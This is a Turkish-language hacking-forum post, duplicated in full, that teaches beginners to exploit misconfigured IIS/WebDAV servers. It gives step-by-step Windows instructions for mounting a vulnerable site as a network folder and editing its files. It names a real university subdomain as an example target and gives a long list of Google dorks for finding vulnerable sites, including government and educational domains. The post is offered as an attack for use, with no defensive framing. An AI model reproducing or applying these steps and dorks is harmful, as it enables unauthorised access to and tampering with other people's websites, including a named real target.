İliya Norton
- 2 Şub 2018
- 24 Mesaj
Bu tarih öncesi , Çürümüş , kokuşmuş açığı neden dile getirdiğimi eminim soracaksınız fakat
2017 - 2018 yılında ISS açıklı siteler ciddi anlamda çoğaldı bu açığın yeniden güncel hale gelebileceğini düşünüyorum
ISS açığında Sitenin FTP dizinine admin yetkileri ile müdahale edebiliyoruz bu yüzden 2013 -14 yıllarında En popüler açıklar arasında yer alıyordu uygulaması ‘da aşırı kolay olduğu için yeni başlayanlara bu açık ile başlması tavsiye ediliyordu
Gelelim açığın Aşırı derece basit uygulamasına :
1: başlat--çalıstır- yapıyoruz ve aç bölümüne
%WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}
bu kodumuzu yerleştiriyoruz.ve tamam diyoruz.
2 : Ağ Dosyaları klasörü açılıyor
3 : SAĞ TIKLA > YENİ > AĞ KONUMU EKLE diyoruz
4 : bir sayfa açılıyor buraya ISS açığı olan sitemizi yapıştırıyoruz
Örnek site : http://hist.igni.urfu.ru/
http://hist.igni.urfu.ru/5 : Ağ klasörleri içinde bir dosya oluşuyor dosyayı açıyoruz ve Sitenin içindeki tüm dosyalar önümüze çıkıyor Normal Klasör düzenler gibi Sitenin dosyalarını düzenleme yetkisine sahip oluyoruz
ISS Açıklı siteleri bulmak için Google Dork ‘lar :
intext:"404 Object Not Found" Microsoft-IIS/5.0
"Microsoft-IIS/* server at" intitle:index.of
"Microsoft-IIS/4.0" intitle:index.of
"Microsoft-IIS/5.0 server at"
intitle:"Welcome to IIS 4.0"
intitle:"Welcome to Windows 2000 Internet Services"
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache"
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:edu
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:gov
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:com
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:"uzatabilirsiniz bunu"
inurl:.co.id/*.asp
inurl:.ah.cn/*.asp
inurl:.bj.cn/*.asp
inurl:.cq.cn/*.asp
inurl:.fj.cn/*.asp
inurl:.gd.cn/*.asp
inurl:.gs.cn/*.asp
inurl:.gz.cn/*.asp
inurl:.gx.cn/*.asp
inurl:.ha.cn/*.asp
inurl:.hb.cn/*.asp
inurl:.he.cn/*.asp
inurl:.hi.cn/*.asp
inurl:.hl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.js.cn/*.asp
inurl:.jx.cn/*.asp
inurl:.ln.cn/*.asp
inurl:.nm.cn/*.asp
inurl:.nx.cn/*.asp
inurl:.qh.cn/*.asp
inurl:.sc.cn/*.asp
inurl:.sd.cn/*.asp
inurl:.sh.cn/*.asp
inurl:.sn.cn/*.asp
inurl:.sx.cn/*.asp
inurl:.tj.cn/*.asp
inurl:.tw.cn/*.asp
inurl:.xj.cn/*.asp
inurl:.xz.cn/*.asp
inurl:.yn.cn/*.asp
inurl:.zj.cn/*.asp
inurl:.ac.cn/*.asp
inurl:.com.cn/*.asp
inurl:.edu.cn/*.asp
inurl:.gov.cn/*.asp
inurl:.net.cn/*.asp
inurl:.org.cn/*.asp
“Powered by IIS”
intitle:"Directory Listing For /" + inurl:webdav tomcat
intitle:"Directory Listing For /" + inurl:we
2017 - 2018 yılında ISS açıklı siteler ciddi anlamda çoğaldı bu açığın yeniden güncel hale gelebileceğini düşünüyorum
ISS açığında Sitenin FTP dizinine admin yetkileri ile müdahale edebiliyoruz bu yüzden 2013 -14 yıllarında En popüler açıklar arasında yer alıyordu uygulaması ‘da aşırı kolay olduğu için yeni başlayanlara bu açık ile başlması tavsiye ediliyordu
Gelelim açığın Aşırı derece basit uygulamasına :
1: başlat--çalıstır- yapıyoruz ve aç bölümüne
%WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}
bu kodumuzu yerleştiriyoruz.ve tamam diyoruz.
2 : Ağ Dosyaları klasörü açılıyor
3 : SAĞ TIKLA > YENİ > AĞ KONUMU EKLE diyoruz
4 : bir sayfa açılıyor buraya ISS açığı olan sitemizi yapıştırıyoruz
Örnek site : http://hist.igni.urfu.ru/
http://hist.igni.urfu.ru/5 : Ağ klasörleri içinde bir dosya oluşuyor dosyayı açıyoruz ve Sitenin içindeki tüm dosyalar önümüze çıkıyor Normal Klasör düzenler gibi Sitenin dosyalarını düzenleme yetkisine sahip oluyoruz
ISS Açıklı siteleri bulmak için Google Dork ‘lar :
intext:"404 Object Not Found" Microsoft-IIS/5.0
"Microsoft-IIS/* server at" intitle:index.of
"Microsoft-IIS/4.0" intitle:index.of
"Microsoft-IIS/5.0 server at"
intitle:"Welcome to IIS 4.0"
intitle:"Welcome to Windows 2000 Internet Services"
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache"
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:edu
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:gov
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:com
intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:"uzatabilirsiniz bunu"
inurl:.co.id/*.asp
inurl:.ah.cn/*.asp
inurl:.bj.cn/*.asp
inurl:.cq.cn/*.asp
inurl:.fj.cn/*.asp
inurl:.gd.cn/*.asp
inurl:.gs.cn/*.asp
inurl:.gz.cn/*.asp
inurl:.gx.cn/*.asp
inurl:.ha.cn/*.asp
inurl:.hb.cn/*.asp
inurl:.he.cn/*.asp
inurl:.hi.cn/*.asp
inurl:.hl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.js.cn/*.asp
inurl:.jx.cn/*.asp
inurl:.ln.cn/*.asp
inurl:.nm.cn/*.asp
inurl:.nx.cn/*.asp
inurl:.qh.cn/*.asp
inurl:.sc.cn/*.asp
inurl:.sd.cn/*.asp
inurl:.sh.cn/*.asp
inurl:.sn.cn/*.asp
inurl:.sx.cn/*.asp
inurl:.tj.cn/*.asp
inurl:.tw.cn/*.asp
inurl:.xj.cn/*.asp
inurl:.xz.cn/*.asp
inurl:.yn.cn/*.asp
inurl:.zj.cn/*.asp
inurl:.ac.cn/*.asp
inurl:.com.cn/*.asp
inurl:.edu.cn/*.asp
inurl:.gov.cn/*.asp
inurl:.net.cn/*.asp
inurl:.org.cn/*.asp
“Powered by IIS”
intitle:"Directory Listing For /" + inurl:webdav tomcat
intitle:"Directory Listing For /" + inurl:we
